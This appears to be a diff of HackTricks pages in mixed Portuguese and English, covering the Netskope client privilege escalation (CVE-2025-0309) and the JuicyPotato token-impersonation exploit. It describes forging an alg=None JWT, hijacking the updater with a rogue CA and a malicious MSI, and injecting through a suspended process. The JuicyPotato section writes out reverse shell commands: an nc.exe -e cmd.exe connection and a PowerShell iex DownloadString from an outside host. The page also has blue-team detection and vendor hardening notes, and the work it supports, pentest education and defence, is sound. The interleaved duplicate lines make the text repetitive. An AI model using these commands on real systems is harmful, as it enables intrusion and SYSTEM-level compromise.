- Se o IPC for “encrypted”, derivar a key/IV a partir de identificadores da máquina legíveis globalmente armazenados no registry.
- Se o serviço restringe callers por image path/process name, injetar em um processo allow‑listed ou spawnar um suspenso e bootstrapar sua DLL via um patch mínimo de thread‑context.
- Implementar os endpoints de update do fornecedor, entregar uma Trusted Root CA maliciosa e apontar o updater para um pacote malicioso “assinado”.
- Evadir verificações de signer fracas (CN allow‑lists), flags de digest opcionais e propriedades MSI laxas.
- Se o IPC for “encrypted”, derivar key/IV a partir de identificadores de máquina legíveis pelo mundo armazenados no registry.
- Se o serviço restringir callers por image path/process name, injetar em um processo allow‑listed ou spawnar um suspenso e bootstrapar sua DLL via um patch mínimo de thread‑context.
---
## 1) Forçando o enrollment para um servidor do atacante via localhost IPC
## 1) Forçando enrollment para um servidor atacante via localhost IPC
Muitos agentes incluem um processo UI em user‑mode que conversa com um serviço SYSTEM via localhost TCP usando JSON.
@ -21,8 +21,8 @@ Observado no Netskope:
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Exploit flow:
1) Craft um JWT enrollment token cujas claims controlam o backend host (e.g., AddonUrl). Use alg=None para que nenhuma assinatura seja requerida.
2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
1) Crie um token JWT de enrollment cujas claims controlam o host backend (por exemplo, AddonUrl). Use alg=None para que nenhuma assinatura seja necessária.
2) Envie a mensagem IPC invocando o comando de provisioning com seu JWT e o nome do tenant:
```json
{
"148": {
@ -31,91 +31,91 @@ Exploit flow:
}
}
```
3) O serviço começa a acessar seu servidor rogue para enrollment/config, por exemplo:
3) O serviço começa a contatar seu servidor malicioso para enrollment/config, por exemplo:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Notas:
- Se a verificação do chamador for baseada em caminho/nome, origine a requisição a partir de um allow‑listed vendor binary (veja §4).
- Se a verificação do caller for baseada em caminho/nome, origine a requisição a partir de um binário de fornecedor autorizado (veja §4).
---
## 2) Hijacking the update channel to run code as SYSTEM
## 2) Sequestrando o canal de atualização para executar código como SYSTEM
Uma vez que o cliente se comunique com seu servidor, implemente os endpoints esperados e direcione-o para um MSI malicioso. Sequência típica:
Uma vez que o cliente conversa com seu servidor, implemente os endpoints esperados e direcione-o para um MSI do atacante. Sequência típica:
1) /v2/config/org/clientconfig → Retornar configuração JSON com um intervalo do updater muito curto, por exemplo:
1) /v2/config/org/clientconfig → Retornar config JSON com um intervalo de atualização muito curto, por exemplo:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → Retorna um certificado CA em PEM. O serviço o instala no Local Machine Trusted Root store.
3) /v2/checkupdate → Fornece metadata apontando para um MSI malicioso e uma versão falsa.
2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
Bypassando verificações comuns observadas na prática:
- Signer CN allow‑list: o serviço pode checar apenas se o Subject CN é “netSkope Inc” ou “Netskope, Inc.”. Sua CA maliciosa pode emitir um leaf com esse CN e assinar o MSI.
- CERT_DIGEST property: inclua uma propriedade MSI benigno chamada CERT_DIGEST. Não há enforcement na instalação.
- Optional digest enforcement: flag de config (por exemplo, check_msi_digest=false) desativa validação criptográfica adicional.
Bypassing common checks seen in the wild:
- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI.
- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install.
- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation.
Resultado: o serviço SYSTEM instala seu MSI de
Result: the SYSTEM service installs your MSI from
C:\ProgramData\Netskope\stAgent\data\*.msi
executando código arbitrário como NT AUTHORITY\SYSTEM.
executing arbitrary code as NT AUTHORITY\SYSTEM.
---
## 3) Forging encrypted IPC requests (when present)
A partir do R127, Netskope envolveu o JSON de IPC em um campo encryptData que parece Base64. Reversing mostrou AES com key/IV derivado de valores do registry legíveis por qualquer usuário:
From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Atacantes podem reproduzir a encriptação e enviar comandos encriptados válidos a partir de um usuário padrão. Dica geral: se um agente subitamente “encriptar” seu IPC, procure device IDs, product GUIDs, install IDs em HKLM como material.
Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.
---
## 4) Bypassing IPC caller allow‑lists (path/name checks)
Alguns serviços tentam autenticar o peer resolvendo o PID da conexão TCP e comparando o image path/name contra binários allow‑listados do vendor localizados em Program Files (por exemplo, stagentui.exe, bwansvc.exe, epdlp.exe).
Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
Dois bypasses práticos:
- DLL injection em um processo allow‑listado (ex.: nsdiag.exe) e proxy do IPC internamente.
- Spawn de um binário allow‑listado em suspended e bootstrap da sua proxy DLL sem CreateRemoteThread (see §5) para satisfazer regras de tamper impostas pelo driver.
Two practical bypasses:
- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules.
---
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
Produtos frequentemente incluem um minifilter/OB callbacks driver (ex.: Stadrv) para remover direitos perigosos de handles para processos protegidos:
- Process: remove PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: restringe para THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
Um loader user‑mode confiável que respeita essas restrições:
1) CreateProcess de um binário do vendor com CREATE_SUSPENDED.
2) Obtenha handles que ainda são permitidos: PROCESS_VM_WRITE | PROCESS_VM_OPERATION no processo, e um handle de thread com THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou apenas THREAD_RESUME se você patchar código em um RIP conhecido).
3) Sobrescreva ntdll!NtContinue (ou outro thunk inicial garantido mapeado) com um pequeno stub que chama LoadLibraryW no caminho da sua DLL, depois retorna.
4) ResumeThread para acionar seu stub in‑process, carregando sua DLL.
A reliable user‑mode loader that respects these constraints:
1) CreateProcess of a vendor binary with CREATE_SUSPENDED.
2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
4) ResumeThread to trigger your stub in‑process, loading your DLL.
Porque você nunca usou PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME em um processo já protegido (você o criou), a política do driver é satisfeita.
Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied.
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) automatiza uma rogue CA, assinatura de MSI malicioso, e serve os endpoints necessários: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope é um IPC client custom que cria mensagens IPC arbitrárias (opcionalmente AES‑encriptadas) e inclui a injeção por processo suspenso para originar de um binário allow‑listado.
- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary.
---
## 7) Detection opportunities (blue team)
- Monitorar adições ao Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) funciona bem.
- Sinalizar execuções de MSI iniciadas pelo serviço do agente a partir de paths como C:\ProgramData\<vendor>\<agent>\data\*.msi.
- Revisar logs do agente por hosts/tenants de enrollment inesperados, ex.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – procure por addonUrl / tenant anomalies e provisioning msg 148.
- Alertar sobre clientes IPC localhost que não sejam os binários assinados esperados, ou que se originem de árvores de processos filhas incomuns.
- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi.
- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
---
## Hardening tips for vendors
- Vincular hosts de enrollment/update a uma allow‑list estrita; rejeitar domínios não confiáveis no clientcode.
- Autenticar peers de IPC com primitives do OS (ALPC security, named‑pipe SIDs) em vez de checks por image path/name.
- Manter material secreto fora de HKLM legível por todos; se o IPC precisar ser encriptado, derivar chaves de segredos protegidos ou negociar em canais autenticados.
- Tratar o updater como superfície da supply‑chain: exigir uma cadeia completa até uma CA confiável que você controla, verificar assinaturas de pacotes contra chaves pinned, e fail closed se a validação estiver desabilitada na config.
- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
## References
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
- [Aviso – Netskope Client for Windows – Elevação de Privilégios Local via Servidor malicioso (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)

66
src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
View File

@ -2,25 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > JuicyPotato é legacy. Geralmente funciona em versões do Windows até o Windows 10 1803 / Windows Server 2016. Mudanças da Microsoft enviadas a partir do Windows 10 1809 / Server 2019 quebraram a técnica original. Para essas builds e posteriores, considere alternativas modernas como PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e outras. Veja a página abaixo para opções e uso atualizados.
> [!WARNING] > JuicyPotato é legacy. Geralmente funciona em versões do Windows até Windows 10 1803 / Windows Server 2016. Alterações da Microsoft entregues a partir do Windows 10 1809 / Server 2019 quebraram a técnica original. Para essas builds e mais recentes, considere alternativas modernas como PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e outras. Veja a página abaixo para opções e uso atualizados.
{{#ref}}
roguepotato-and-printspoofer.md
{{#endref}}
## Juicy Potato (abusando dos golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
## Juicy Potato (abusando dos privilégios dourados) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_Uma versão adoçada de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, com um pouco de juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
_Uma versão adoçada de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, com um pouco de suco, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Notas rápidas de compatibilidade
- Funciona de forma confiável até o Windows 10 1803 e Windows Server 2016 quando o contexto atual tem SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege.
- Quebrado por Microsoft hardening no Windows 10 1809 / Windows Server 2019 e posteriores. Prefira as alternativas linkadas acima para essas builds.
- Funciona de forma confiável até Windows 10 1803 e Windows Server 2016 quando o contexto atual possui SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege.
- Quebrado pelo hardening da Microsoft no Windows 10 1809 / Windows Server 2019 e posteriores. Prefira as alternativas ligadas acima para essas builds.
### Resumo <a href="#summary" id="summary"></a>
### Summary <a href="#summary" id="summary"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
@ -30,32 +30,32 @@ We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenP
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
Descobrimos que, além do `BITS`, existem vários COM servers que podemos abusar. Eles só precisam:
1. ser instanciável pelo usuário atual, normalmente um “service user” que tem impersonation privileges
1. ser instanciáveis pelo usuário atual, normalmente um “service user” que tem privilégios de impersonation
2. implementar a interface `IMarshal`
3. executar como um usuário elevado (SYSTEM, Administrator, …)
3. rodar como um usuário elevado (SYSTEM, Administrator, …)
After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
Após alguns testes obtivemos e testamos uma lista extensa de [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) em várias versões do Windows.
### Detalhes suculentos <a href="#juicy-details" id="juicy-details"></a>
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato permite que você:
- **Target CLSID** _escolha qualquer CLSID que desejar._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _você pode encontrar a lista organizada por OS._
- **COM Listening port** _defina a COM listening port que preferir (instead of the marshalled hardcoded 6666)_
- **COM Listening IP address** _bind the server on any IP_
- **Process creation mode** _dependendo dos privilégios do usuário impersonado você pode escolher entre:_
- **CLSID alvo** _escolha qualquer CLSID que desejar._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _você pode encontrar a lista organizada por OS._
- **COM Listening port** _defina a porta de escuta COM que preferir (em vez do 6666 hardcoded usado no marshalled)_
- **COM Listening IP address** _vincule o servidor a qualquer IP_
- **Modo de criação de processo** _dependendo dos privilégios do usuário impersonado você pode escolher entre:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _inicie um executável ou script se a exploração tiver sucesso_
- **Process Argument** _personalize os argumentos do processo iniciado_
- **RPC Server address** _para uma abordagem stealthy você pode autenticar em um servidor RPC externo_
- **Process to launch** _inicie um executável ou script se a exploração for bem-sucedida_
- **Process Argument** _personalize os argumentos do processo lançado_
- **RPC Server address** _para uma abordagem stealth você pode autenticar em um servidor RPC externo_
- **RPC Server port** _útil se você quiser autenticar em um servidor externo e o firewall estiver bloqueando a porta `135`…_
- **TEST mode** _principalmente para fins de teste, i.e. testando CLSIDs. Cria o DCOM e imprime o usuário do token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
- **TEST mode** _principalmente para fins de teste, i.e. testar CLSIDs. Cria o DCOM e imprime o usuário do token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
### Uso <a href="#usage" id="usage"></a>
### Usage <a href="#usage" id="usage"></a>
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
@ -76,11 +76,11 @@ Optional args:
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
Se o usuário tem privilégios `SeImpersonate` ou `SeAssignPrimaryToken` então você é **SYSTEM**.
Se o usuário tiver privilégios `SeImpersonate` ou `SeAssignPrimaryToken` então você é **SYSTEM**.
É quase impossível prevenir o abuso de todos esses COM Servers. Você pode pensar em modificar as permissões desses objetos via `DCOMCNFG`, mas boa sorte, isso vai ser desafiador.
A solução real é proteger contas sensíveis e aplicações que rodam sob as contas `* SERVICE`. Parar `DCOM` certamente inibiria esse exploit, mas poderia ter um impacto sério no OS subjacente.
A solução real é proteger contas sensíveis e aplicações que rodam sob as contas `* SERVICE`. Parar o `DCOM` certamente impediria esse exploit, mas poderia ter um impacto sério no sistema operacional subjacente.
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
Se você estiver visando Windows 10 1809 / Server 2019 onde o JuicyPotato clássico foi corrigido, prefira as alternativas listadas no topo (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG pode ser situacional dependendo da build e do estado do serviço.
Se você estiver direcionando Windows 10 1809 / Server 2019 onde o classic JuicyPotato foi corrigido, prefira as alternativas mencionadas no topo (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG pode ser situacional dependendo da build e do estado do serviço.
## Exemplos
Nota: Visite [esta página](https://ohpe.it/juicy-potato/CLSID/) para uma lista de CLSIDs para tentar.
Nota: Visite [esta página](https://ohpe.it/juicy-potato/CLSID/) para uma lista de CLSIDs para testar.
### Obter um nc.exe reverse shell
### Obter um reverse shell (nc.exe)
```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
@ -122,31 +122,31 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
c:\Users\Public>
```
### Powershell reverso
### Powershell rev
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
### Launch a new CMD (if you have RDP access)
### Iniciar um novo CMD (se você tiver acesso RDP)
![](<../../images/image (300).png>)
## Problemas de CLSID
Frequentemente, o CLSID padrão que o JuicyPotato usa **não funciona** e o exploit falha. Normalmente, são necessárias várias tentativas para encontrar um **CLSID que funcione**. Para obter uma lista de CLSIDs para tentar em um sistema operacional específico, você deve visitar esta página:
Frequentemente, o CLSID padrão que o JuicyPotato usa **não funciona** e o exploit falha. Normalmente, são necessárias múltiplas tentativas para encontrar um **CLSID funcional**. Para obter uma lista de CLSIDs para tentar em um sistema operacional específico, você deve visitar esta página:
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **Verificando CLSIDs**
Primeiro, você precisará de alguns executáveis além do juicypotato.exe.
Primeiro, você vai precisar de alguns executáveis além do juicypotato.exe.
Faça o download de [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e carregue-o na sua sessão PS, e baixe e execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Esse script criará uma lista de possíveis CLSIDs para testar.
Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e carregue-o na sua sessão PS, e faça o download e execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Esse script criará uma lista de possíveis CLSIDs para testar.
Em seguida, baixe [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (altere o caminho para a lista de CLSID e para o executável juicypotato) e execute-o. Ele começará a testar cada CLSID e **quando o número da porta mudar, significará que o CLSID funcionou**.
Em seguida, baixe [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(altere o caminho para a lista de CLSID e para o executável juicypotato) e execute-o. Ele começará a testar cada CLSID, e **quando o número da porta mudar, isso significará que o CLSID funcionou**.
**Verifique** os CLSIDs que funcionaram **usando o parâmetro -c**
**Verifique** os CLSIDs funcionais **usando o parâmetro -c**
## References
## Referências
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)